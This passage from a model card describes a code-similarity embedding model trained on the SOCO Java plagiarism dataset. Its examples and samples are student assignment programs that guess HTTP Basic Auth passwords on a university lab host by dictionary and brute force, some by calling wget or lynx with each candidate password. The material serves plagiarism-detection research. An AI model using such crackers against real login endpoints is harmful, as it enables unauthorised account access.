               }

               f_counter++;
               t_counter++;

               password = new String(c);
               return c;
            }
         }
      }
    sentences:
      - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\npublic class Dictionary\n{\n   public static void main(String args[])\n   {\n      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n         \n         BufferedReader dict_word = new BufferedReader\n                                  (new FileReader (DICT_FILE));\n  \n         \n         while((password = dict_word.readLine())!= null)\n         {        \n            try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n              \n               BufferedReader stdInput = new BufferedReader(new \n                     InputStreamReader(p.getInputStream()));\n\n               BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\n               \n               while ((s = stdInput.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n                  \n               \n               while ((s = stdError.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n\n               try\n\t       {\n                  p.waitFor(); \n               }\n               catch (InterruptedException g)  \n               {\n               }  \n\n               num_tries++;\n                  \n               if((p.exitValue()) == 0) \n               {       \n                  System.out.println(\"**********PASSWORD IS: \" + password);\n\t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n                  System.exit(1);\n               }\n            }\n            catch (IOException e)\n            {\n               System.out.println(\"exception happened - here's what I know: \");\n               e.printStackTrace();\n               System.exit(-1);\n            }\n         }\n         \n         System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n         System.out.println(\"**********Sorry, password was not found in dictionary file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException exception)\n      {\n         System.out.println(exception);\n      }\n      catch (IOException exception)\n      {\n         System.out.println(exception);\n      }\n   }\n}\n  \n"
      - |-

        import java.net.*;
        import java.io.*;
        import java.util.*;


        public class Dictionary {

          public static void main(String args[])
          {
          int i,j,k;
          String pass = new String();
          String UserPass = new String();
          String status = new String();
          String status1 = new String();
          BasicAuth auth = new BasicAuth();
          URLConnection  connect;
           int start,end,diff;
          try {
                       URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



                      start =System.currentTimeMillis();

                       BufferedReader dis = new BufferedReader(new FileReader("words"));


                 while ((pass = dis.readLine()) != null)
                  {


                      UserPass= auth.encode("",pass);

                      connect = url.openConnection();
                      connect.setDoInput(true);
                      connect.setDoOutput(true);

                      connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
                      connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
                      connect.setRequestProperty("Authorization"," " + UserPass);
                      connect.connect();
                      status =connect.getHeaderField(0);
                      status1 = status.substring( 9,12);
                     if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
                      {
                      System.out.println("Password is " + pass);
                      end=System.currentTimeMillis();
                      diff = end - start;
                      System.out.println("Time Taken = " + (diff/1000) + " secs");
                      System.exit(0);
                      }
                      ((HttpURLConnection)connect).disconnect();
                      connect = null;
                    }

                    System.out.println(" match found");

                    dis.close();
                    dis=null;

                    connect = null;

             }

            catch (MalformedURLException malerr)
          {
          System.err.println("Unable  Open URL" + malerr);
          }

          catch (Exception ioerr)
          {
          System.err.println("Unable  open file" + ioerr);
          }




          }
        }
      - |-

        import java.net.*;
        import java.io.*;
        import java.util.*;


        public class Dictionary {

          public static void main(String args[])
          {
          int i,j,k;
          String pass = new String();
          String UserPass = new String();
          String status = new String();
          String status1 = new String();
          BasicAuth auth = new BasicAuth();
          URLConnection  connect;
           int start,end,diff;
          try {
                       URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



                      start =System.currentTimeMillis();

                       BufferedReader dis = new BufferedReader(new FileReader("words"));


                 while ((pass = dis.readLine()) != null)
                  {


                      UserPass= auth.encode("",pass);

                      connect = url.openConnection();
                      connect.setDoInput(true);
                      connect.setDoOutput(true);

                      connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
                      connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
                      connect.setRequestProperty("Authorization"," " + UserPass);
                      connect.connect();
                      status =connect.getHeaderField(0);
                      status1 = status.substring( 9,12);
                     if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
                      {
                      System.out.println("Password is " + pass);
                      end=System.currentTimeMillis();
                      diff = end - start;
                      System.out.println("Time Taken = " + (diff/1000) + " secs");
                      System.exit(0);
                      }
                      ((HttpURLConnection)connect).disconnect();
                      connect = null;
                    }

                    System.out.println(" match found");

                    dis.close();
                    dis=null;

                    connect = null;

             }

            catch (MalformedURLException malerr)
          {
          System.err.println("Unable  Open URL" + malerr);
          }

          catch (Exception ioerr)
          {
          System.err.println("Unable  open file" + ioerr);
          }




          }
        }
  - source_sentence: |-




      import java.util.*;
      import java.net.*;
      import java.io.*;
      import javax.swing.*;

      public class PasswordCombination
      {
          private int      pwdCounter = 0;
          private    int  startTime;
          private String   str1,str2,str3;
          private String   url = "http://sec-crack.cs.rmit.edu./SEC/2/";
          private String   loginPwd;
          private String[] password;
          private HoldSharedData data;
          private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
                                  'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
                                  'a','b','c','d','e','f','g','h','i','j','k','l','m',
                                  'n','o','p','q','r','s','t','u','v','w','x','y','z'};

          public PasswordCombination()
          {
              System.out.println("Programmed by   for INTE1070 Assignment 2");

              String input = JOptionPane.showInputDialog( "Enter number of threads" );
              if(  input == null  )
                 System.exit(0);

              int numOfConnections = Integer.parseInt( input );
              startTime = System.currentTimeMillis();
              int pwdCounter  = 52*52*52 + 52*52 + 52;
              password = new String[pwdCounter];

              doPwdCombination();

              System.out.println("Total Number of Passwords Generated: " + pwdCounter);
              createConnectionThread( numOfConnections );
          }

          private void doPwdCombination()
          {
              for( int i = 0; i < 52; i ++ )
              {
                  str1 = "" + chars[i];
                  password[pwdCounter++] = "" + chars[i];
                  System.err.print( str1 + " | " );

                  for( int j = 0; j < 52; j ++ )
                  {
                      str2 = str1 + chars[j];
                      password[pwdCounter++] = str1 + chars[j];

                      for( int k = 0; k < 52; k ++ )
                      {
                          str3 = str2 + chars[k];
                          password[pwdCounter++] = str2 + chars[k];
                      }
                  }
              }

              System.err.println( "\n" );
          }

          private void loadPasswords( )
          {
              FileReader     fRead;
              BufferedReader buf;
              String         line = null;
              String         fileName = "words";

              try
              {
                  fRead = new FileReader( fileName );
                  buf = new BufferedReader(fRead);

                  while((line = buf.readLine( )) != null)
                  {
                      password[pwdCounter++] = line;
                  }
              }
              catch(FileNotFoundException e)
              {
                  System.err.println("File not found: " + fileName);
              }
              catch(IOException ioe)
              {
                  System.err.println("IO Error " + ioe);
              }
          }

          private void createConnectionThread( int input )
          {
              data = new HoldSharedData( startTime, password, pwdCounter );

              int numOfThreads = input;
              int batch = pwdCounter/numOfThreads + 1;
              numOfThreads = pwdCounter/batch + 1;
              System.out.println("Number of Connection Threads Used:" + numOfThreads);
              ConnectionThread[] connThread = new ConnectionThread[numOfThreads];

              for( int index = 0; index < numOfThreads; index ++ )
              {
                  connThread[index] = new ConnectionThread( url, index, batch, data );
                  connThread[index].conn();
              }
          }
      }  
    sentences:
      - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n   private Vector v;\n\n   public Cracker()\n   {\n      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n         {\n            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n      \n      for( i = 0; i < letters.length; i++)\n      {\n         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add( s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n      }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length; k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t       v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n      }\n   }\n         \n   public static void main( String[] args)\n   {\n      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n      cr.loadTriples();\n      System.out.println(\" far \"+cr.getVictor().size()+\" elements loaded\");\n   }\n}\n      \n"
      - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n   private Vector v;\n\n   public Cracker()\n   {\n      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n         {\n            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n      \n      for( i = 0; i < letters.length; i++)\n      {\n         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add( s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n      }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length; k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t       v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n      }\n   }\n         \n   public static void main( String[] args)\n   {\n      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n      cr.loadTriples();\n      System.out.println(\" far \"+cr.getVictor().size()+\" elements loaded\");\n   }\n}\n      \n"
      - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n{\n public final static int TOTAL_TIMES=52*52*52;\n public char[] passwd;\n public static void main(String[] args) throws IOException\n {\n  BruteForce bf=new BruteForce();\n  System.out.println(\" cracking...\");\n   time1=new Date().getTime();\n  bf.doBruteForce(time1);\n\t time2=new Date().getTime();\n\tSystem.out.println(\"Finish cracking.\");\n\tSystem.out.println(\" password found.\");\n  System.out.println(\"costs \"+(time2-time1)+\" milliseconds\");\n  System.exit(1);\n }\n\n void doBruteForce(int time1) throws IOException\n {\n  passwd=new char[3];\n  Runtime rt=Runtime.getRuntime();\n   num=0;\n  for(int i=(int)'z';i>=(int)'A';i--)\n  {\n    if(i==96)\n     i=90;\n    passwd[0]=(char)i;\n    for(int j=(int)'z';j>=(int)'A';j--)\n    {\n     if(j==96)\n      j=90;\n     passwd[1]=(char)j;\n     for(int k=(int)'z';k>=(int)'A';k--)\n     {\n      if(k==96)\n       k=90;\n      passwd[2]=(char)k;\n      String password=new String(passwd);\n\t\t\ttry\n      {\n\t\t\t\tnum++;\n\n\t\t\t\t\n\t\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+password+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t\t\t\t\n\t\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\t      p.destroy();\n\n\t\t\t\tif(ln!=null)\n        \n        if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n        {\n\n          System.out.println(password);\n\t\t\t\t\tSystem.out.println(\"Finish cracking.\");\n\t\t\t\t\tSystem.out.println(ln);\n\t\t\t\t\tSystem.out.println(\"password is \"+password);\n           time2=new Date().getTime();\n          System.out.println(\"costs \"+(time2-time1)+\" milliseconds\");\n          System.out.println(\"The number of attempts is \"+num);\n\t\t      System.exit(1);\n        }\n        \n        \n\n      } catch (FileNotFoundException exc) {\n        System.out.println (\"File Not Found\");\n\t\t\t\tk++;\n      } catch (IOException exc) {\n\t\t    System.out.println (\"IOException\");\n        k++;\n      } catch (NullPointerException exc) {\n\t\t    System.out.println (\"NullPointerException\");\n        k++;\n\t  \t}\n\n     }\n    }\n  }\n }\n}\n"
datasets:
  - buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

• Model Type: Sentence Transformer
• Base model: microsoft/unixcoder-base-unimodal
• Maximum Sequence Length: 512 tokens
• Output Dimensionality: 768 dimensions
• Similarity Function: Cosine Similarity
• Training Dataset:
  • soco_train_java

Model Sources

• Documentation: Sentence Transformers Documentation
• Repository: Sentence Transformers on GitHub
• Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-ep2-bs32-noEval")
# Run inference
sentences = [
    '\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\npublic class PasswordCombination\n{\n    private int      pwdCounter = 0;\n    private    int  startTime;\n    private String   str1,str2,str3;\n    private String   url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n    private String   loginPwd;\n    private String[] password;\n    private HoldSharedData data;\n    private char[] chars = {\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\n                            \'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\',\n                            \'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\n                            \'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\n\n    public PasswordCombination()\n    {\n        System.out.println("Programmed by   for INTE1070 Assignment 2");\n\n        String input = JOptionPane.showInputDialog( "Enter number of threads" );\n        if(  input == null  )\n           System.exit(0);\n\n        int numOfConnections = Integer.parseInt( input );\n        startTime = System.currentTimeMillis();\n        int pwdCounter  = 52*52*52 + 52*52 + 52;\n        password = new String[pwdCounter];\n\n        doPwdCombination();\n\n        System.out.println("Total Number of Passwords Generated: " + pwdCounter);\n        createConnectionThread( numOfConnections );\n    }\n\n    private void doPwdCombination()\n    {\n        for( int i = 0; i < 52; i ++ )\n        {\n            str1 = "" + chars[i];\n            password[pwdCounter++] = "" + chars[i];\n            System.err.print( str1 + " | " );\n\n            for( int j = 0; j < 52; j ++ )\n            {\n                str2 = str1 + chars[j];\n                password[pwdCounter++] = str1 + chars[j];\n\n                for( int k = 0; k < 52; k ++ )\n                {\n                    str3 = str2 + chars[k];\n                    password[pwdCounter++] = str2 + chars[k];\n                }\n            }\n        }\n\n        System.err.println( "\\n" );\n    }\n\n    private void loadPasswords( )\n    {\n        FileReader     fRead;\n        BufferedReader buf;\n        String         line = null;\n        String         fileName = "words";\n\n        try\n        {\n            fRead = new FileReader( fileName );\n            buf = new BufferedReader(fRead);\n\n            while((line = buf.readLine( )) != null)\n            {\n                password[pwdCounter++] = line;\n            }\n        }\n        catch(FileNotFoundException e)\n        {\n            System.err.println("File not found: " + fileName);\n        }\n        catch(IOException ioe)\n        {\n            System.err.println("IO Error " + ioe);\n        }\n    }\n\n    private void createConnectionThread( int input )\n    {\n        data = new HoldSharedData( startTime, password, pwdCounter );\n\n        int numOfThreads = input;\n        int batch = pwdCounter/numOfThreads + 1;\n        numOfThreads = pwdCounter/batch + 1;\n        System.out.println("Number of Connection Threads Used:" + numOfThreads);\n        ConnectionThread[] connThread = new ConnectionThread[numOfThreads];\n\n        for( int index = 0; index < numOfThreads; index ++ )\n        {\n            connThread[index] = new ConnectionThread( url, index, batch, data );\n            connThread[index].conn();\n        }\n    }\n}  ',
    '\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters = {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n   private Vector v;\n\n   public Cracker()\n   {\n      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n         {\n            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n      \n      for( i = 0; i < letters.length; i++)\n      {\n         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add( s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n      }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length; k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t       v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n      }\n   }\n         \n   public static void main( String[] args)\n   {\n      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n      cr.loadTriples();\n      System.out.println(" far "+cr.getVictor().size()+" elements loaded");\n   }\n}\n      \n',
    '\nimport java.util.*;\n\n\npublic class Cracker\n{\n   private char[] letters = {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n   private Vector v;\n\n   public Cracker()\n   {\n      v = new Vector( 52);\n   }\n   public void loadLetters()\n   {\n      int i;\n\n      for( i = 0; i < letters.length; i++)\n      {\n\t String s = new StringBuffer().append( letters[i]).toString();\n         v.add( s);\n      }\n   }\n   public Vector getVictor()\n   {\n      return ;\n   }\n   public void loadPairs()\n   {\n      int i,j;\n\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n         {\n            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t    v.add( s1);\n\t    v.add( s2);\n\t }\n      }\n      for( i = 0; i < letters.length; i++)\n      {\n         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n      }\n   }\n   public void loadTriples()\n   {\n      int i, j, k;\n      \n      for( i = 0; i < letters.length; i++)\n      {\n         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n      }\n      for( i = 0; i < letters.length - 1; i++)\n      {\n         for( j = i + 1; j < letters.length; j++)\n\t {\n\t    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add( s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n      }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length; k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t       v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n      }\n   }\n         \n   public static void main( String[] args)\n   {\n      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n      cr.loadTriples();\n      System.out.println(" far "+cr.getVictor().size()+" elements loaded");\n   }\n}\n      \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

soco_train_java

• Dataset: soco_train_java at 44ca4ff
• Size: 33,411 training samples
• Columns: label, text_1, and text_2
• Approximate statistics based on the first 1000 samples:

  	label	text_1	text_2
  type	int	string	string
  details	0: ~99.80% 1: ~0.20%	min: 51 tokens mean: 457.49 tokens max: 512 tokens	min: 512 tokens mean: 512.0 tokens max: 512 tokens

• Samples:

  label	text_1	text_2
  0	import java.net.; import java.io.; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty(...	import java.; import java.io.; import java.util.; public class BruteForce { public final static int TOTAL_TIMES=5252*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void 